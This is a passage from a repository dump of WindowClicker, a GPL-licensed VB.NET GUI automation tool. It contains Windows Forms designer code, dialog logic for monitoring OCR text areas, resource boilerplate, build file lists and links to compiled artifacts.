65 | Me.Controls.Add(Me.btnOK)
66 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog
67 | Me.MaximizeBox = False
68 | Me.MinimizeBox = False
69 | Me.Name = "frmReminder"
70 | Me.Text = "Application Not Found"
71 | Me.ResumeLayout(False)
72 | Me.PerformLayout()
73 |
74 | End Sub
75 | Friend WithEvents chkNotAgain As System.Windows.Forms.CheckBox
76 | Friend WithEvents lblReminder As System.Windows.Forms.Label
77 | Friend WithEvents btnOK As System.Windows.Forms.Button
78 | End Class
79 |
--------------------------------------------------------------------------------
/WindowLicker/frmReminder.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/WindowLicker/frmReminder.vb:
--------------------------------------------------------------------------------
1 | Public Class frmReminder
2 |
3 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click
4 | ' Write user choice to registry
5 | '==============================
6 |
7 | If chkNotAgain.Checked Then
8 | OCRReminder = "0"
9 | SaveSetting("WindowClicker", "Settings", "OCRReminder", OCRReminder)
10 | End If
11 |
12 | Me.Hide()
13 |
14 | End Sub
15 |
16 | End Class
--------------------------------------------------------------------------------
/WindowLicker/frmTextFields.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class frmTextFields
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Me.btnOK = New System.Windows.Forms.Button()
26 | Me.btnDelete = New System.Windows.Forms.Button()
27 | Me.btnAdd = New System.Windows.Forms.Button()
28 | Me.lvTextFields = New System.Windows.Forms.ListView()
29 | Me.chTitle = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
30 | Me.chFullTitle = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
31 | Me.chPosition = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
32 | Me.SuspendLayout()
33 | '
34 | 'btnOK
35 | '
36 | Me.btnOK.Location = New System.Drawing.Point(484, 418)
37 | Me.btnOK.Name = "btnOK"
38 | Me.btnOK.Size = New System.Drawing.Size(75, 23)
39 | Me.btnOK.TabIndex = 2
40 | Me.btnOK.Text = "OK"
41 | Me.btnOK.UseVisualStyleBackColor = True
42 | '
43 | 'btnDelete
44 | '
45 | Me.btnDelete.Location = New System.Drawing.Point(86, 418)
46 | Me.btnDelete.Name = "btnDelete"
47 | Me.btnDelete.Size = New System.Drawing.Size(75, 23)
48 | Me.btnDelete.TabIndex = 5
49 | Me.btnDelete.Text = "Delete"
50 | Me.btnDelete.UseVisualStyleBackColor = True
51 | '
52 | 'btnAdd
53 | '
54 | Me.btnAdd.Location = New System.Drawing.Point(5, 418)
55 | Me.btnAdd.Name = "btnAdd"
56 | Me.btnAdd.Size = New System.Drawing.Size(75, 23)
57 | Me.btnAdd.TabIndex = 4
58 | Me.btnAdd.Text = "Add..."
59 | Me.btnAdd.UseVisualStyleBackColor = True
60 | '
61 | 'lvTextFields
62 | '
63 | Me.lvTextFields.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.chTitle, Me.chFullTitle, Me.chPosition})
64 | Me.lvTextFields.Location = New System.Drawing.Point(5, 12)
65 | Me.lvTextFields.Name = "lvTextFields"
66 | Me.lvTextFields.Size = New System.Drawing.Size(554, 400)
67 | Me.lvTextFields.TabIndex = 6
68 | Me.lvTextFields.UseCompatibleStateImageBehavior = False
69 | Me.lvTextFields.View = System.Windows.Forms.View.Details
70 | '
71 | 'chTitle
72 | '
73 | Me.chTitle.Text = "ID"
74 | Me.chTitle.Width = 62
75 | '
76 | 'chFullTitle
77 | '
78 | Me.chFullTitle.Text = "Text"
79 | Me.chFullTitle.Width = 392
80 | '
81 | 'chPosition
82 | '
83 | Me.chPosition.Text = "Position"
84 | Me.chPosition.Width = 96
85 | '
86 | 'frmTextFields
87 | '
88 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
89 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
90 | Me.ClientSize = New System.Drawing.Size(564, 446)
91 | Me.Controls.Add(Me.lvTextFields)
92 | Me.Controls.Add(Me.btnDelete)
93 | Me.Controls.Add(Me.btnAdd)
94 | Me.Controls.Add(Me.btnOK)
95 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog
96 | Me.MaximizeBox = False
97 | Me.MinimizeBox = False
98 | Me.Name = "frmTextFields"
99 | Me.Text = "Monitored Text Fields"
100 | Me.ResumeLayout(False)
101 |
102 | End Sub
103 | Friend WithEvents btnOK As System.Windows.Forms.Button
104 | Friend WithEvents btnDelete As System.Windows.Forms.Button
105 | Friend WithEvents btnAdd As System.Windows.Forms.Button
106 | Friend WithEvents lvTextFields As System.Windows.Forms.ListView
107 | Friend WithEvents chTitle As System.Windows.Forms.ColumnHeader
108 | Friend WithEvents chFullTitle As System.Windows.Forms.ColumnHeader
109 | Friend WithEvents chPosition As System.Windows.Forms.ColumnHeader
110 | End Class
111 |
--------------------------------------------------------------------------------
/WindowLicker/frmTextFields.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/WindowLicker/frmTextFields.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Public Class frmTextFields
20 | ' Form to show currently monitored text fields, including add/delete functionality
21 | '=================================================================================
22 |
23 |
24 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click
25 | ' Close form
26 | '============
27 |
28 | '== Activate monitor if required ==
29 | IsGuiMonitor = ((NewWindows.Count > 0) Or (MonitoredWindows.Count > 0) Or (frmMain.SnipCount > 0))
30 |
31 | frmMain.timTimer.Enabled = IsGuiMonitor
32 | frmMain.ActivateGUIMonitorToolStripMenuItem.Checked = IsGuiMonitor
33 |
34 | Me.Dispose()
35 |
36 | End Sub
37 |
38 | Private Sub frmTextFields_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
39 | ' Show the current list of monitored text areas
40 | '==============================================
41 | Dim lviItem As New ListViewItem
42 |
43 | '== Check that we have a valid OCR application ==
44 |
45 |
46 | trTextReader.Compare = False
47 |
48 | '== Populate listview ==
49 | For Each deItem As TextArea In frmMain.ScreenSnips.Values
50 | lviItem.Name = deItem.ID
51 | lviItem.Text = deItem.ID
52 | lviItem.SubItems.Add(deItem.ClippedText)
53 | lviItem.SubItems.Add(deItem.ScreenArea.Left.ToString & ", " & deItem.ScreenArea.Top.ToString)
54 | Next
55 |
56 | End Sub
57 |
58 | Private Sub btnAdd_Click(sender As System.Object, e As System.EventArgs) Handles btnAdd.Click
59 | ' Add a new screen area and OCR any text
60 | '=======================================
61 | Dim intOriginalCount As Integer
62 | Dim lviItem As New ListViewItem
63 |
64 |
65 | '== Get number of items prior to addition ==
66 | intOriginalCount = frmMain.SnipCount
67 |
68 | '== Get new text area ==
69 | frmMain.AddTextArea()
70 |
71 | '== Only proceed if there's something to add ==
72 | If frmMain.SnipCount > intOriginalCount Then
73 |
74 | End If
75 |
76 | End Sub
77 |
78 | Private Sub btnDelete_Click(sender As System.Object, e As System.EventArgs) Handles btnDelete.Click
79 | ' Delete selected area from list view and from list of snippets
80 | '==============================================================
81 | Dim intOriginalCount As Integer
82 | Dim intIndex As Integer = 1
83 | Dim blnEmptySlot As Boolean = False
84 |
85 | Dim taTextArea As TextArea = Nothing
86 | Dim rctRect As New Rectangle
87 | Dim imgNewImage As Image = Nothing
88 |
89 |
90 | '== Do not proceed if there's nothing to delete ==
91 | If lvTextFields.SelectedItems.Count = 0 Or frmMain.SnipCount < 1 Then Exit Sub
92 |
93 |
94 | '== Get number of items prior to deletion ==
95 | intOriginalCount = frmMain.SnipCount
96 |
97 | '== Delete items from dictionary and listview ==
98 | For Each lviItem As ListViewItem In lvTextFields.SelectedItems
99 | frmMain.ScreenSnips.Remove(lviItem.Name)
100 | lviItem.Remove()
101 | Next
102 |
103 | '== Loop through snip dictionary and update indices ==
104 | Do While intIndex <= intOriginalCount
105 |
106 | If blnEmptySlot And frmMain.ScreenSnips.ContainsKey(intIndex) Then
107 |
108 | '== If previously empty slot was encountered thenj this item must be moved ==
109 | blnEmptySlot = False
110 |
111 | '== Copy current item details to new item ==
112 | taTextArea.ScreenArea = frmMain.ScreenSnips.Item(intIndex).ScreenArea
113 | taTextArea.SelectedImage = frmMain.ScreenSnips.Item(intIndex).SelectedImage
114 | taTextArea.ClippedText = frmMain.ScreenSnips.Item(intIndex).ClippedText
115 | taTextArea.ImageFile = frmMain.ScreenSnips.Item(intIndex).ImageFile
116 |
117 | '== Update dictionary by moving item to previous vacant slot ==
118 | frmMain.ScreenSnips.Add(taTextArea.ID, taTextArea)
119 | frmMain.ScreenSnips.Remove(intIndex)
120 |
121 | ElseIf Not frmMain.ScreenSnips.ContainsKey(intIndex) Then
122 | '== Prepare new item ready to hold details from next non-vacant slot ==
123 | blnEmptySlot = True
124 | taTextArea = New TextArea(intIndex, rctRect, imgNewImage)
125 | End If
126 | Loop
127 |
128 | frmMain.SnipCount = frmMain.ScreenSnips.Count
129 |
130 | End Sub
131 |
132 | End Class
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/TempPE/My Project.Resources.Designer.vb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/TempPE/My Project.Resources.Designer.vb.dll
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.Resources.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.exe
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.frmAbout.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmAbout.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.frmLoopEvent.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmLoopEvent.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.frmMain.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmMain.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.frmOptions.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmOptions.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.frmProperties.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.frmProperties.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.pdb
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.vbproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmAbout.resources
2 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmMain.resources
3 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.Resources.resources
4 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.vbproj.GenerateResource.Cache
5 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowClicker.exe
6 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowClicker.pdb
7 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowClicker.xml
8 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.exe
9 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.xml
10 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.pdb
11 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmLoopEvent.resources
12 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmOptions.resources
13 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowClicker.frmProperties.resources
14 |
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.vbproj.GenerateResource.Cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowClicker.vbproj.GenerateResource.Cache
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowClicker.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | WindowClicker
6 |
7 |
8 |
9 |
10 |
11 | Returns the cached ResourceManager instance used by this class.
12 |
13 |
14 |
15 | Overrides the current thread's CurrentUICulture property for all
16 | resource lookups using this strongly typed resource class.
17 |
18 |
19 |
20 | A strongly-typed resource class, for looking up localized strings, etc.
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowLicker.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.Resources.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowLicker.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.exe
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowLicker.frmMain.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.frmMain.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowLicker.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.pdb
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowLicker.vbproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.frmMain.resources
2 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.Resources.resources
3 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.vbproj.GenerateResource.Cache
4 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowLicker.exe
5 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowLicker.pdb
6 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\bin\Debug\WindowLicker.xml
7 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.exe
8 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.xml
9 | C:\Users\Nick\documents\visual studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Debug\WindowLicker.pdb
10 |
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowLicker.vbproj.GenerateResource.Cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Debug/WindowLicker.vbproj.GenerateResource.Cache
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Debug/WindowLicker.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | WindowLicker
6 |
7 |
8 |
9 |
10 |
11 | Returns the cached ResourceManager instance used by this class.
12 |
13 |
14 |
15 | Overrides the current thread's CurrentUICulture property for all
16 | resource lookups using this strongly typed resource class.
17 |
18 |
19 |
20 | A strongly-typed resource class, for looking up localized strings, etc.
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/TempPE/My Project.Resources.Designer.vb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/TempPE/My Project.Resources.Designer.vb.dll
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.Resources.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.exe
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmAbout.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmAbout.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmAddWindow.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmAddWindow.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmCurrentWindows.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmCurrentWindows.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmLoopEvent.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmLoopEvent.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmMain.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmMain.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmNewWindows.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmNewWindows.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmOptions.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmOptions.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmProperties.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmProperties.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmReminder.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmReminder.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.frmTextFields.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.frmTextFields.resources
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.pdb
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.vbproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Release\WindowClicker.exe
2 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Release\WindowClicker.pdb
3 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\bin\Release\WindowClicker.xml
4 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmAbout.resources
5 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmLoopEvent.resources
6 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmMain.resources
7 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmOptions.resources
8 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmProperties.resources
9 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.Resources.resources
10 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.vbproj.GenerateResource.Cache
11 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.exe
12 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.xml
13 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.pdb
14 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmAddWindow.resources
15 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmCurrentWindows.resources
16 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmNewWindows.resources
17 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmTextFields.resources
18 | C:\Users\Nick\Documents\Visual Studio 2010\Projects\WindowLicker\WindowLicker\obj\x86\Release\WindowClicker.frmReminder.resources
19 |
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.vbproj.GenerateResource.Cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/obj/x86/Release/WindowClicker.vbproj.GenerateResource.Cache
--------------------------------------------------------------------------------
/WindowLicker/obj/x86/Release/WindowClicker.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | WindowClicker
6 |
7 |
8 |
9 |
10 |
11 | Returns the cached ResourceManager instance used by this class.
12 |
13 |
14 |
15 | Overrides the current thread's CurrentUICulture property for all
16 | resource lookups using this strongly typed resource class.
17 |
18 |
19 |
20 | A strongly-typed resource class, for looking up localized strings, etc.
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/WindowLicker/resources/CurrentWindows/AppWindowHS.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/CurrentWindows/AppWindowHS.bmp
--------------------------------------------------------------------------------
/WindowLicker/resources/CurrentWindows/Computer.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/CurrentWindows/Computer.png
